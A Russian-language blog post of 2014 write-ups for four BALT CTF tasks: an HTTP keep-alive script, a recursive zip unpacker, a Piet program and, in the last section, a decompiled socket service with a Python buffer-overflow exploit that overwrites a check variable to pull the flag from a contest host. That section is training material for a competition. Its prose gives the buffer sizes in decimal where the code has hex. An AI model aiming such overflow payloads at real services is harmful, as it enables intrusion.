16 ноября 2014

BALT CTF - WRITEUPS

Это был довольно легкий CTF для начинающих. Большое количество тасков из самых разных категорий, содержащие в себе стандартные задачи, которые очень часто встречаются на соревнованиях. Эта игра прекрасно подходит для того, чтобы набраться опыта, проверить свои навыки в новых для тебя категориях и потренироваться в скорости решения.
Так как задания, на которые у меня хватило времени, достаточно легкие, то я объединю 4 райтапа в одну статью, чтобы не захламлять блог.

[PPC 100]

Название задания: Catch me
Описание задания: Catch flag if you can!
Ход решения:


При переходе по ссылке открывается страничка, на которой находится всего лишь одна строчка, случайным образом меняющая своё местоположение. В коде странички ничего не передается, в куках тоже нет необходимой информации. Зато в HTTP заголовках есть две волшебные строчки:

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Эти строчки в совокупности с категорией задания говорят о том, что соединение будет поддерживать в течении 100 обновлений страницы. Вручную это сделать нереально, поэтому пишем простой скрипт запрашивающий страницу 101 раз. 

# -*- coding: utf-8 -*-
import socket

def gzipdecode(content):
    import StringIO
    import gzip
    result = StringIO.StringIO(content)
    f = gzip.GzipFile(fileobj=result)
    data = f.read()
    return data

req = '''GET /web/catch/index.php%s HTTP/1.1
Host: baltctf.ru
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Connection: keep-alive

'''
print '''ВНИМАНИЕ! ОБНАРУЖЕН ЖУТКИЙ ГОВНОКОД'''
#(потому что работает не каждый раз)
for lkl in range(100): #Запускаем 100 раз
    i = 101
    s = socket.socket()
    s.connect(('194.106.195.61',80))
    link = ''
    while i:
        s.send(req %link)
        buf = s.recv(9096)
        if not buf: #соединение разорвано
            break
        #Жду флага (добавил чтобы выяснить как часто срабатывает)
        if (buf.find('55238249927ec686a3348d7e567478d0') > 0): 
            print buf
            print '*'*80
            print req
        try: header, data = buf.split('Content-Type: text/html')
        except: print buf
        #Жду разрыва соединения
        if (header.strip().find('max=') < 0):
            print header
            break
        #Пробуем раскодировать то что пришло
        try: data = gzipdecode(data.strip())
        except: pass
        #Выделяем ссылку
        link = data[data.find('href="')+6:data.find('">here')] 
        i -= 1
    s.close()
    s = None
На 101 раз соединение закрывается, но флаг так и не был принят. Тогда мы обращаем внимание на допустимые кодировки страницы и меняем gzip на deflate. После этого у меня все заработало (почему то через раз) и флаг был получен.

P.S. Прошу прощения за код, но так как причину нечастого правильного срабатывания я не нашел, то оставляю анализ этого чуда на усмотрение читателя.

flag: 55238249927ec686a3348d7e567478d0
//solved by gek0n

[PPC 200]

Название задания: ZipZipZip
Описание задания: Мы тут что-то перестарались со сжатием... Помогите кто чем может.
Ход решения:
После скачивания архива и попытки распаковки находим в нем рекурсивно запакованный файл flag.zip. Запакован он 1000 раз, поэтому ручками распаковывать более чем глупо (привет АндрУше). Также каждый следующий файл имеет то же имя что и текущий, поэтому если просто распаковывать в текущую папку, то файл затрет сам себя и повредится (так происходило при распаковке Python`ом). Поэтому просто будем каждый раз распаковывать в папку, а потом вытаскивать из папки. Для наглядности будем присваивать каждой следующей папки новое имя в режиме счетчика, чтобы посмотреть глубину вложенности.

from zipfile import * #Библиотека работы с Zip файлами
import shutil #Библиотека для работы с файлами на диске

counter = 0 #Счетчик глубины вложенности
ZipFile('zip.zip', 'r').extractall(str(counter)) 
while True: #Достаем каждый следующий архив из папки
    shutil.copyfile(str(counter)+'/flag.zip', 'flag.zip') 
    shutil.rmtree(str(counter)) #Удаляем использованную папку
    with ZipFile('flag.zip', 'r') as mz: 
        counter+=1 
        try:
            mz.extractall(str(counter)) #Пробуем распаковать в новую папку
        except:
            break #Прерываемся как только архив требует пароль
В конце распаковки получаем ошибку, потому что последний архив зашифрован. Далее я использовал программу Advanced Archive Password Recovery, и восстановил пароль к архиву: "vos". Внутри лежал флаг.

flag: you_tried_so_hard_and_got_so_far
//solved by gek0n

[PPC 300]

Название задания: Piet
Описание задания: Напишите программу на языке Piet, печатающую строку "csday2014"
Ход решения:
Гуглим, что такое Piet, и узнаем что это графический язык программирования (наподобие Brainloller в моей предыдущей статье). От нас хотят программу, которая бы выводила строчку csday2014. Основной проблемой было понять, как на нем пишутся программы, также было непросто найти интерпретатор. Но мне повезло: я нашел маленькую IDE, которая давала подсказки по написанию кода, поэтому я справился довольно быстро.

Программа
Хочется отметить, что основной особенностью было влияние текущей команды на следующую и предыдущую. То есть в зависимости от того, каким цветом мы пишем сейчас, зависят значения других цветов. Например, если мы пишем красным, то для нас фиолетовый является командой вывода символа на экран, но как только мы использовали фиолетовый - синий становится цветом вывода на экран и так далее.
Пишем простую программку и отправляем её организаторам - получаем флаг.

flag: Gr34t_Piet_C0d3r
//solved by gek0n



[EXP 300]

Название задания: Exploit 1
Описание задания: nc 194.106.195.60 9004
Ход решения:
Первым делом коннектимся к указанному порту и проверяем ручками логику работы сервиса. Логика очень простая: принимает данные и тут же закрывается. Логично предположить, что если мы угадаем правильные входные данные, то получим флаг.
int __cdecl main(int col_params, int a2)
{
  int sock_addr; // [sp+18h] [bp-138h]@15
  int sock_name; // [sp+28h] [bp-128h]@7
  int v5; // [sp+2Ch] [bp-124h]@7
  signed int sock_len; // [sp+138h] [bp-18h]@14
  __pid_t v7; // [sp+13Ch] [bp-14h]@18
  int sock_descr; // [sp+140h] [bp-10h]@15
  FILE *file_handle; // [sp+144h] [bp-Ch]@10
  int v10; // [sp+148h] [bp-8h]@7
  int sock_handle; // [sp+14Ch] [bp-4h]@4

  if ( col_params != 2 )
  {
    puts("port required");
    exit(1);
  }
  sock_handle = socket(2, 1, 0);
  if ( sock_handle < 0 )
  {
    perror("Error socket opening");
    exit(1);
  }
  bzero(&sock_name, 0x10u);
  v10 = atoi(*(const char **)(a2 + 4));
  LOWORD(sock_name) = 2;
  v5 = 0;
  HIWORD(sock_name) = htons(v10);
  if ( bind(sock_handle, (const struct sockaddr *)&sock_name, 0x10u) < 0 )
  {
    perror("Error on binding");
    exit(1);
  }
  file_handle = fopen("flag", "r");
  if ( !file_handle || !fgets(flag, 33, file_handle) )
  {
    perror("Flag does not exist");
    exit(1);
  }
  fclose(file_handle);
  signal(17, (__sighandler_t)1);
  listen(sock_handle, 5);
  sock_len = 16;
  while ( 1 )
  {
    sock_descr = accept(sock_handle, (struct sockaddr *)&sock_addr, (socklen_t *)&sock_len);
    if ( sock_descr < 0 )
    {
      perror("Error on accept");
      exit(1);
    }
    v7 = fork();
    if ( v7 < 0 )
    {
      perror("Error on fork");
      exit(1);
    }
    if ( !v7 )
      break;
    close(sock_descr);
  }
  close(sock_handle);
  action(sock_descr);
  close(sock_descr);
  return 0;
}

ssize_t __cdecl action(int fd)
{
  ssize_t result; // eax@1
  char buf; // [sp+1Ch] [bp-2Ch]@1
  int proverka; // [sp+3Ch] [bp-Ch]@1

  proverka = 100500;
  result = read(fd, &buf, 0x24u);
  if ( proverka == 100501 )
    result = write(fd, flag, 0x21u);
  return result;
}

Скачиваем указанный файл. Смотрим тип: elf32. Запускаем в IDA Pro, декомпилируем, просматриваем код функции main(). Обычный сокет-сервер, который принимает подключения, если подключение установлено, то форкается и запускает функцию-обработчик active(). В этой функции есть буфер размером 20 байт и некое целое число (int = 4 байта), со значением 100500.
Сначала от пользователя принимается 24 байта (!), а потом проверяется, равно ли число 100501, если нет то ничего не происходит. Если равно - получаем флаг. Естественно, что видя длину буфера 20 и длину принимаемого сообщения 24 понимаем что присутствует простейшее переполнение буфера. Остается сформировать уязвимое сообщение, добавив к любым 20 байтам число 100501 в хексе (0x00018895). Не забываем о том что данные в памяти хранятся задом на перед. Отправляем сервису полученное сообщение - принимаем флаг.
import socket

s = socket.socket()
s.connect(('194.106.195.60', 9004))
#Заполняем буфер произвольными значениями
string = '\x00'*0x20
#Добавляем переполняемое число в little-endian
string += '\x95\x88\x01\x00'
s.sendall(string) #Получаем флаг
data = s.recv(9096)
print data
s.close()
flag: 823e83730fc0389c3d0a26daf39d7325
//solved by gek0n